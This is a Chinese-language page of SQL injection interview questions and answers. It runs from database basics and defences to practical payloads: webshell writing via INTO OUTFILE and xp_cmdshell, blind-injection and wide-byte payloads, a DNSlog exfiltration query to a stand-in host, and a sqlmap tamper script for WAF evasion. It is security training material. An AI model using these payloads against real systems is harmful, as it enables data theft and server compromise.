SQL注入的那些面試題總結


一、知識儲備類

1.SQL與NoSQL的區別?

SQL:關系型數據庫
NoSQL:非關系型數據庫

存儲方式:SQL具有特定的結構表,NoSQL存儲方式靈活
性能:NoSQL較優於SQL
數據類型:SQL適用結構化數據,如賬號密碼;NoSQL適用非結構化數據,如文章、評論

2.常見的關系型數據庫?

mysql、sqlserver、oracle、access、sqlite、postgreSQL

3.常見的數據庫端口?

關系型:

mysql:3306
sqlserver:1433
orecal:1521
PostgreSQL:5432
db2:50000

非關系型:

MongoDB:27017
redis:6379
memcached:11211

4.簡述數據庫的存儲引擎

數據庫存儲引擎是數據庫底層軟件組織,數據庫管理系統(DBMS)使用數據引擎進行創建、查詢、更新和刪除數據。不同的存儲引擎提供不同的存儲機制、索引技巧、鎖定水平等功能,使用不同的存儲引擎,還可以獲得特定的功能。

InnoDB:主流的存儲引擎,mysql默認存儲引擎
MyISAM:查詢、插入速度快,不支持事務
MEMORY:hash索引、BTREE索引

5.SQL注入有哪幾種注入類型?

從注入參數類型分:數字型注入、字符型注入、搜索型注入
從注入方法分:基於報錯、基於布爾盲注、基於時間盲注、聯合查詢、堆疊注入、內聯查詢注入、寬字節注入
從提交方式分:GET注入、POST注入、COOKIE注入、HTTP頭注入

6.SQL注入的危害及防御?

危害:

數據庫泄露
數據庫被破壞
網站崩潰
服務器被植入木馬

防御:

代碼層面對查詢參數進行轉義
預編譯與參數綁定
利用WAF防御

7.如果存在SQL注入怎么判斷不同的數據庫?

根據報錯信息判斷
根據執行函數返回的結果判斷,如len()和lenth(),version()和@@version等
根據注釋符判斷

8.mysql的網站注入,5.0以上和5.0以下有什么區別?

從sql注入的角度來說,mysql5.0以下版本沒有information_schema這個系統庫,無法列出表名列名,只能暴力跑

9.Mysql一個@和兩個@什么區別

一個@是用戶自定義變量
兩個@是系統變量,如@@version、@@user

10.MYSQL注入/繞過常用的函數

注入常用函數:

database() 返回當前數據庫名
user() 返回當前數據庫用戶名
updatexml() 更新xml文檔,常用於報錯注入
mid() 從指定字段中提取出字段的內容
limit() 返回結果中的前幾條數據或者中間的數據
concat() 返回參數產生的字符串
group_concat() 分組拼接函數
count() 返回指定參數的數目
rand() 參數0~1個隨機數
flood() 向下取整
substr() 截取字符串
ascii() 返回字符串的ascii碼
left() 返回字符串最左邊指定個數的字符
ord() 返回字符的ascii碼
length() 返回字符串長度
sleep() 延時函數

等價函數繞過,反之亦可:

group_concat() ==> concat_ws()
sleep() ==> benchmark()
mid()、substr() ==> substring()
user() ==> @@user
updatexml() ==> extractvalue()

11.UDF提權原理?

mysql支持用戶自定義函數,將含有自定義函數的dll放入特定的文件夾,聲明引入dll中的執行函數,使用執行函數執行系統命令

12.MSSQL差異備份原理及條件?

原理:

完整備份后,再次對數據庫進行修改,差異備份會記錄最后的LSN,將shell寫入數據庫,備份成asp即可getshell

條件:

MSSQL具有dbo或sa權限
支持堆疊查詢
找到網站的絕對路徑

二、實操技能類

1.SQL注入寫shell的條件,用法

條件:

當前用戶具有dba權限
找到網站絕對路徑
網站有可寫目錄
mysql的配置secure_file_priv為空

用法:
mysql:

id=1' and 1=2 union select 1,2,'shell內容' into outfile "絕對路徑\shell.php" %23

sqlserver:

id=1';EXEC master..xp_cmdshell 'echo "shell內容" > 絕對路徑\shell.asp' --

2.sql注入過濾了逗號,怎么弄?

join繞過:

union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);

3.sleep被禁用后還能怎么進行sql注入

benchmark代替sleep:

id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(10000000,md5(0x41))),1) --+

笛卡爾積盲注:

select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)

RLIKE盲注:

select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1)

4.什么是寬字節注入?如何操作?

寬字節注入:

當php開啟gpc或者使用addslashes函數時,單引號'被加上反斜杠\',其中\的URL編碼為%5C,我們傳入%df',等價於%df%5C',此時若程序的默認字符集是GBK,mysql用GBK編碼時會認為%df%5C是一個寬字符,於是%df%5C'便等價於縗',產生注入。

操作:

id=1%df' and 1=2 union select 1,2,user(),4 %23

5.怎樣進行盲注速度更快?

DNSlog盲注:

id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),'.your-dnslog.com\\cHr1s'))--+

6.什么是二次注入?

參數傳入的惡意數據在傳入時被轉義,但是在數據庫處理時又被還原並存儲在數據庫中,導致二次注入。

舉例:

注冊用戶名admin'#用戶,傳入值為admin\'#,但是在存儲數據庫時值變為admin'#,此時若修改密碼為123456,管理員admin密碼就被修改為123456

7.sql注入常見的過WAF方法?

內聯注釋繞過
填充大量臟數據繞過
垃圾參數填充繞過
改變提交方式繞過,如GET方式變為POST方式提交
隨機agent頭繞過
fuzz過濾函數,函數替換繞過

8.sqlmap如何編寫tamper?

tamper固定模板如下:

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW 

def dependencies(): 
     pass

def tamper(payload, **kwargs): 
      pass

PROIORITY

用於定義tamper優先級,當調用多個tamper時生效,優先級如下,數值越大優先級越高

  • LOWEST = -100
  • LOWER = -50
  • LOW = -10
  • NORMAL = 0
  • HIGH = 10
  • HIGHER = 50
  • HIGHEST = 100

dependencies

用於提示用戶tamper適用范圍,具體代碼如下:

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("過狗tamper '%s' 只針對 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

DBMS.MYSQL代表MYSQL,其他數據庫類推

Tamper

tamper關鍵函數,用於定義過濾規則,示例代碼如下:

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):
    payload=payload.replace('AND','/*!29440AND*/')
    payload=payload.replace('ORDER','/*!29440order*/')
    payload=payload.replace('LIKE USER()','like (user/**/())')
    payload=payload.replace('DATABASE()','database/*!29440*/()')
    payload=payload.replace('CURRENT_USER()','CURRENT_USER/**/()')
    payload=payload.replace('SESSION_USER()','SESSION_USER(%0a)')
    payload=payload.replace('UNION ALL SELECT','union/*!29440select*/')
    payload=payload.replace('super_priv','/*!29440/**/super_priv*/')
    payload=payload.replace('and host=','/*!29440and*/host/*!11440=*/')
    payload=payload.replace('BENCHMARK(','BENCHMARK/*!29440*/(')
    payload=payload.replace('SLEEP(','sleep/**/(')
    return payload

fuzz出具體payload后對關鍵字符進行替換

將上述過程簡單總結來回答hr問題即可


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM